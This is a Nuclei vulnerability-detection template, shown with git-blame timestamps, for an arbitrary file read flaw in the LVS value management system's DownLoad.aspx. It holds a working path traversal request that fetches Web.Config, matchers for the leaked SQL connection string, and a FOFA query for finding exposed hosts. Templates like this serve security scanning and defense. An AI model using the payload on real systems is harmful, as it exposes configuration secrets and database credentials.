2024-07-17 19:01:49 +00:00
|
|
|
id: lvs-download-lfi
|
|
|
|
|
|
|
|
|
|
info:
|
2024-07-18 10:00:10 +00:00
|
|
|
name: LVS DownLoad.aspx - Local File Inclusion (LFI)
|
2024-07-17 19:01:49 +00:00
|
|
|
author: pussycat0x
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
|
|
|
|
LVS lean value management system DownLoad.aspx has an arbitrary file reading vulnerability.
|
|
|
|
|
reference:
|
|
|
|
|
- https://github.com/wy876/POC/blob/main/LVS%E7%B2%BE%E7%9B%8A%E4%BB%B7%E5%80%BC%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FDownLoad.aspx%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md#lvs%E7%B2%BE%E7%9B%8A%E4%BB%B7%E5%80%BC%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fdownloadaspx%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E
|
|
|
|
|
metadata:
|
|
|
|
|
verified: true
|
2024-07-18 10:00:10 +00:00
|
|
|
max-request: 1
|
2024-07-17 19:01:49 +00:00
|
|
|
fofa-query: body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
|
|
|
|
|
tags: lvs,lfi
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/Business/DownLoad.aspx?p=UploadFile/../Web.Config"
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
|
|
|
|
part: body
|
|
|
|
|
words:
|
|
|
|
|
- '<configuration>'
|
|
|
|
|
- '<appSettings>'
|
|
|
|
|
- '<add key="SqlConnString"'
|
|
|
|
|
condition: and
|
|
|
|
|
|
2024-07-18 10:01:41 +00:00
|
|
|
- type: word
|
|
|
|
|
part: content_type
|
|
|
|
|
words:
|
|
|
|
|
- 'application/ms-excel'
|
|
|
|
|
|
2024-07-17 19:01:49 +00:00
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 200
|
